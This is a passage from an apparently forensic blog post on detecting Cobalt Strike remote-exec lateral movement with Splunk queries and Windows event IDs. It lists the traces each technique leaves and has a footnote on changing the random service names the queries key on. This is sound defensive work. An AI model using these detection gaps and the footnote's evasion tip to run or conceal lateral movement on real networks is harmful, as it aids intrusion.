In a forensics context, a simple query enumerating the services installed (Service Control Manager, event ID 7045) should be enough, the randomness of the service name and the child process visually identifying illegitimate services. However, you can also add to the query the successful logons (event ID 4624):

host="*" index="*" (parser=winevtx AND eid=7045) OR (parser=winevtx AND eid=4624 AND logon_type=3)
| bin span=1m _time
| eventstats distinct_count(eid) as dis_count by _time
| where dis_count==2
| table _time eid report_desc dis_count
| sort _time

| _time    | eid  | report_desc                                                                                                                                                                             | dis_count |
| 14:32:00 | 7045 | **[evtx/sys/scm/7045]** service 'd8041e9' (notepad.exe) was installed by user 'LocalSystem' (type: user mode service, start: demand start)                                                  | 2         |
| 14:32:00 | 4624 | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x00000000005eda88) with '-' | 2         |

Or you can select only the events where the service name is only 7 characters long:

host="*" index="blog" sourcetype="lexhunt_json" eid=7045
| eval service_name_len=len(service_name)
| where service_name_len==7
| table _time service_name
| sort _time

| _time        | service_name |
| 14:32:05.920 | d8041e9      |
| 14:34:07.311 | 8f0c55c      |

Part 1 – Conclusion

The hardest Cobalt Strike command to detect is probably the remote-exec wmi because it does not create a service like remote-exec psexec or use PowerShell like remote-exec winrm. We can notice that each remote-exec commands generated a specific number of successful logons to the victim (event id 4624). As a reminder, remote-exec commands can be triggered detecting the following behavior:

remote-exec winrm
A PowerShell execution (Microsoft Windows Powershell, event ID 600, 400, 403) host by the application C:\Windows\system32\wsmprovhost.exe -Embedding;
A WinRM connection received (Microsoft Windows WinRM, event ID 91);
Execution traces of the \Windows\SysWOW64\wsmprovhost.exe binary, visible in the MFT, the USN journal or even the Prefetch files;
Many successful logons (Microsoft Windows Security Auditing, event ID 4624) with logon type ‘3’ (Network).
remote-exec wmi
The openwith.exe observable among Prefetch files;
Many short successful logons (Microsoft Windows Security Auditing, event ID 4624) with logon type ‘3’ (Network);
Some DCOM events, such as warnings (DCOM, event ID 10016).
remote-exec psexec
The installation of a randomly named service (Service Control Manager, event ID 7045) running suspicious binaries;
One successful logon (Microsoft Windows Security Auditing, event ID 4624) with logon type ‘3’ (Network).

To detect lateral movements more efficiently, we advise installing Sysmon with a custom configuration and/or to activate more audit policies.

References:

Detecting CONTI Cobalt Strike Lateral Movement Techniques – Part 1 – CYB3RSN0RLAX

Tool Analysis Result Sheet

SigmaHQ/sigma: Generic Signature Format for SIEM Systems

SigmaHQ/sigma-cli: The Sigma command line interface based on pySigma

Detecting Lateral Movement via WinRM Using KQL – In.Security – Cyber Security Technical Services & Training

Sysmon – Windows Sysinternals | Microsoft Docs

By default the command elevate svc-exe, jump psexec, jump psexec64, jump psexec_psh and remote-exec psexec use a service name that consists of random letters and numbers. The Cobalt Strike Aggressor Script PSEXEC_SERVICE hook allows you to change this behavior. ↩

Cobalt strike CSIRT DFIR DFIR-ORC Forensics Sigma Splunk TTP